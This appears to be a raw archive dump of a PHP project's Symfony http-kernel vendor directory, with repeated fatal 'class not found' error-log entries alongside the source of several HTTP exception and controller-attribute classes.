/home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/TooManyRequestsHttpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/TooManyRequestsHttpException.php on line 19 [19-Nov-2025 15:07:58 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/GoneHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/GoneHttpException.php on line 17 [19-Nov-2025 15:08:53 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/MethodNotAllowedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/MethodNotAllowedHttpException.php on line 17 [19-Nov-2025 15:13:53 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LengthRequiredHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LengthRequiredHttpException.php on line 17 [19-Nov-2025 15:18:10 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotAcceptableHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotAcceptableHttpException.php on line 17 [19-Nov-2025 15:20:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionRequiredHttpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionRequiredHttpException.php on line 19 [19-Nov-2025 15:26:22 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnsupportedMediaTypeHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnsupportedMediaTypeHttpException.php on line 17 [19-Nov-2025 15:30:30 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Exception\HttpExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/HttpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/HttpException.php on line 19 [19-Nov-2025 22:56:50 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/AccessDeniedHttpException.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/AccessDeniedHttpException.php on line 18 [19-Nov-2025 22:56:57 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotFoundHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotFoundHttpException.php on line 17 [19-Nov-2025 22:59:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnauthorizedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnauthorizedHttpException.php on line 17 [19-Nov-2025 23:03:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/BadRequestHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/BadRequestHttpException.php on line 17 [19-Nov-2025 23:08:11 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ConflictHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ConflictHttpException.php on line 17 [19-Nov-2025 23:14:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ServiceUnavailableHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ServiceUnavailableHttpException.php on line 17 [19-Nov-2025 23:15:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LockedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LockedHttpException.php on line 17 [19-Nov-2025 23:34:04 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Exception\HttpExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/HttpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/HttpException.php on line 19 [19-Nov-2025 23:38:01 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnsupportedMediaTypeHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnsupportedMediaTypeHttpException.php on line 17 [19-Nov-2025 23:38:45 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionRequiredHttpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionRequiredHttpException.php on line 19 [25-Nov-2025 02:30:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotFoundHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotFoundHttpException.php on line 17 [25-Nov-2025 02:31:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ServiceUnavailableHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ServiceUnavailableHttpException.php on line 17 [25-Nov-2025 02:34:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LengthRequiredHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LengthRequiredHttpException.php on line 17 [25-Nov-2025 02:35:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ConflictHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ConflictHttpException.php on line 17 [25-Nov-2025 02:59:14 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Exception\HttpExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/HttpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/HttpException.php on line 19 [25-Nov-2025 03:00:22 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotAcceptableHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotAcceptableHttpException.php on line 17 [25-Nov-2025 03:00:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionFailedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionFailedHttpException.php on line 17 [25-Nov-2025 03:01:05 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionRequiredHttpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionRequiredHttpException.php on line 19 [25-Nov-2025 03:06:22 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LockedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LockedHttpException.php on line 17 [25-Nov-2025 03:25:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/MethodNotAllowedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/MethodNotAllowedHttpException.php on line 17 [25-Nov-2025 03:28:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnsupportedMediaTypeHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnsupportedMediaTypeHttpException.php on line 17 [25-Nov-2025 03:32:34 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/AccessDeniedHttpException.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/AccessDeniedHttpException.php on line 18 [25-Nov-2025 04:29:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnauthorizedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnauthorizedHttpException.php on line 17 [25-Nov-2025 04:33:18 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/BadRequestHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/BadRequestHttpException.php on line 17 [25-Nov-2025 04:33:34 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/TooManyRequestsHttpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/TooManyRequestsHttpException.php on line 19 [25-Nov-2025 05:25:37 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnprocessableEntityHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnprocessableEntityHttpException.php on line 17 [25-Nov-2025 06:29:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/GoneHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/GoneHttpException.php on line 17 [25-Nov-2025 23:05:56 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnsupportedMediaTypeHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnsupportedMediaTypeHttpException.php on line 17 [25-Nov-2025 23:09:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/AccessDeniedHttpException.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/AccessDeniedHttpException.php on line 18 [25-Nov-2025 23:10:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/TooManyRequestsHttpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/TooManyRequestsHttpException.php on line 19 [26-Nov-2025 00:38:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Exception\HttpExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/HttpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/HttpException.php on line 19 [26-Nov-2025 00:39:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LockedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LockedHttpException.php on line 17 [26-Nov-2025 00:39:09 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/GoneHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/GoneHttpException.php on line 17 [26-Nov-2025 01:36:44 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ConflictHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ConflictHttpException.php on line 17 [26-Nov-2025 01:37:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotAcceptableHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotAcceptableHttpException.php on line 17 [26-Nov-2025 01:38:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotFoundHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/NotFoundHttpException.php on line 17 [26-Nov-2025 01:52:42 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LengthRequiredHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/LengthRequiredHttpException.php on line 17 [26-Nov-2025 01:55:21 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ServiceUnavailableHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/ServiceUnavailableHttpException.php on line 17 [26-Nov-2025 02:03:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnprocessableEntityHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnprocessableEntityHttpException.php on line 17 [26-Nov-2025 02:04:13 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionFailedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionFailedHttpException.php on line 17 [26-Nov-2025 03:33:34 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnauthorizedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/UnauthorizedHttpException.php on line 17 [26-Nov-2025 03:35:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/MethodNotAllowedHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/MethodNotAllowedHttpException.php on line 17 [26-Nov-2025 03:43:09 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/BadRequestHttpException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/BadRequestHttpException.php on line 17 [26-Nov-2025 03:43:44 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Exception\HttpException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionRequiredHttpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Exception/PreconditionRequiredHttpException.php on line 19 http-kernel/Exception/GoneHttpException.php000064400000001120151113511600015043 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Ben Ramsey */ class GoneHttpException extends HttpException { public function __construct(string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { parent::__construct(410, $message, $previous, $headers, $code); } } http-kernel/Exception/ControllerDoesNotReturnResponseException.php000064400000004363151113511600021665 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Grégoire Pineau */ class ControllerDoesNotReturnResponseException extends \LogicException { public function __construct(string $message, callable $controller, string $file, int $line) { parent::__construct($message); if (!$controllerDefinition = $this->parseControllerDefinition($controller)) { return; } $this->file = $controllerDefinition['file']; $this->line = $controllerDefinition['line']; $r = new \ReflectionProperty(\Exception::class, 'trace'); $r->setValue($this, array_merge([ [ 'line' => $line, 'file' => $file, ], ], $this->getTrace())); } private function parseControllerDefinition(callable $controller): ?array { if (\is_string($controller) && str_contains($controller, '::')) { $controller = explode('::', $controller); } if (\is_array($controller)) { try { $r = new \ReflectionMethod($controller[0], $controller[1]); return [ 'file' => $r->getFileName(), 'line' => $r->getEndLine(), ]; } catch (\ReflectionException) { return null; } } if ($controller instanceof \Closure) { $r = new \ReflectionFunction($controller); return [ 'file' => $r->getFileName(), 'line' => $r->getEndLine(), ]; } if (\is_object($controller)) { $r = new \ReflectionClass($controller); try { $line = $r->getMethod('__invoke')->getEndLine(); } catch (\ReflectionException) { $line = $r->getEndLine(); } return [ 'file' => $r->getFileName(), 'line' => $line, ]; } return null; } } http-kernel/Exception/PreconditionRequiredHttpException.php000064400000001216151113511600020317 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Ben Ramsey * * @see http://tools.ietf.org/html/rfc6585 */ class PreconditionRequiredHttpException extends HttpException { public function __construct(string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { parent::__construct(428, $message, $previous, $headers, $code); } } http-kernel/Exception/UnauthorizedHttpException.php000064400000001361151113511600016643 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Ben Ramsey */ class UnauthorizedHttpException extends HttpException { /** * @param string $challenge WWW-Authenticate challenge string */ public function __construct(string $challenge, string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { $headers['WWW-Authenticate'] = $challenge; parent::__construct(401, $message, $previous, $headers, $code); } } http-kernel/Exception/ResolverNotFoundException.php000064400000001573151113511600016605 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; class ResolverNotFoundException extends \RuntimeException { /** * @param string[] $alternatives */ public function __construct(string $name, array $alternatives = []) { $msg = sprintf('You have requested a non-existent resolver "%s".', $name); if ($alternatives) { if (1 === \count($alternatives)) { $msg .= ' Did you mean this: "'; } else { $msg .= ' Did you mean one of these: "'; } $msg .= implode('", "', $alternatives).'"?'; } parent::__construct($msg); } } http-kernel/Exception/TooManyRequestsHttpException.php000064400000001605151113511600017305 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Ben Ramsey * * @see http://tools.ietf.org/html/rfc6585 */ class TooManyRequestsHttpException extends HttpException { /** * @param int|string|null $retryAfter The number of seconds or HTTP-date after which the request may be retried */ public function __construct(int|string $retryAfter = null, string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { if ($retryAfter) { $headers['Retry-After'] = $retryAfter; } parent::__construct(429, $message, $previous, $headers, $code); } } http-kernel/Exception/UnsupportedMediaTypeHttpException.php000064400000001140151113511600020307 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * @author Ben Ramsey */ class UnsupportedMediaTypeHttpException extends HttpException { public function __construct(string $message = '', \Throwable $previous = null, int $code = 0, array $headers = []) { parent::__construct(415, $message, $previous, $headers, $code); } } http-kernel/Exception/HttpExceptionInterface.php000064400000001156151113511600016064 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Exception; /** * Interface for HTTP error exceptions. * * @author Kris Wallsmith */ interface HttpExceptionInterface extends \Throwable { /** * Returns the status code. */ public function getStatusCode(): int; /** * Returns response headers. */ public function getHeaders(): array; } http-kernel/Attribute/AsController.php000064400000000703151113511600014056 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Attribute; /** * Service tag to autoconfigure controllers. */ #[\Attribute(\Attribute::TARGET_CLASS)] class AsController { public function __construct() { } } http-kernel/Attribute/ValueResolver.php000064400000001221151113511600014241 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Attribute; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; #[\Attribute(\Attribute::TARGET_PARAMETER | \Attribute::IS_REPEATABLE)] class ValueResolver { /** * @param class-string|string $resolver */ public function __construct( public string $resolver, public bool $disabled = false, ) { } } http-kernel/Attribute/WithLogLevel.php000064400000001355151113511600014020 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Attribute; use Psr\Log\LogLevel; /** * @author Dejan Angelov */ #[\Attribute(\Attribute::TARGET_CLASS)] final class WithLogLevel { /** * @param LogLevel::* $level */ public function __construct(public readonly string $level) { if (!\defined('Psr\Log\LogLevel::'.strtoupper($this->level))) { throw new \InvalidArgumentException(sprintf('Invalid log level "%s".', $this->level)); } } } http-kernel/Attribute/MapDateTime.php000064400000001376151113511600013610 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Attribute; use Symfony\Component\HttpKernel\Controller\ArgumentResolver\DateTimeValueResolver; /** * Controller parameter tag to configure DateTime arguments. */ #[\Attribute(\Attribute::TARGET_PARAMETER)] class MapDateTime extends ValueResolver { public function __construct( public readonly ?string $format = null, bool $disabled = false, string $resolver = DateTimeValueResolver::class, ) { parent::__construct($resolver, $disabled); } } http-kernel/Attribute/WithHttpStatus.php000064400000001143151113511600014425 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Attribute; /** * @author Dejan Angelov */ #[\Attribute(\Attribute::TARGET_CLASS)] class WithHttpStatus { /** * @param array $headers */ public function __construct( public readonly int $statusCode, public readonly array $headers = [], ) { } } http-kernel/Attribute/MapQueryParameter.php000064400000002153151113511600015054 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Attribute; use Symfony\Component\HttpKernel\Controller\ArgumentResolver\QueryParameterValueResolver; /** * Can be used to pass a query parameter to a controller argument. * * @author Ruud Kamphuis */ #[\Attribute(\Attribute::TARGET_PARAMETER)] final class MapQueryParameter extends ValueResolver { /** * @see https://php.net/filter.filters.validate for filter, flags and options * * @param string|null $name The name of the query parameter. If null, the name of the argument in the controller will be used. */ public function __construct( public ?string $name = null, public ?int $filter = null, public int $flags = 0, public array $options = [], string $resolver = QueryParameterValueResolver::class, ) { parent::__construct($resolver); } } http-kernel/Attribute/error_log000064400000016266151113511600012666 0ustar00[19-Nov-2025 15:58:41 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryParameter.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryParameter.php on line 22 [19-Nov-2025 16:00:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapRequestPayload.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapRequestPayload.php on line 24 [19-Nov-2025 16:06:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryString.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryString.php on line 24 [19-Nov-2025 16:11:44 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapDateTime.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapDateTime.php on line 20 [19-Nov-2025 17:31:35 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapDateTime.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapDateTime.php on line 20 [19-Nov-2025 17:32:39 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapRequestPayload.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapRequestPayload.php on line 24 [19-Nov-2025 17:37:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryParameter.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryParameter.php on line 22 [19-Nov-2025 17:42:05 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryString.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Attribute/MapQueryString.php on line 24 [19-Nov-2025 22:56:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Attribute\ValueResolver" not found in 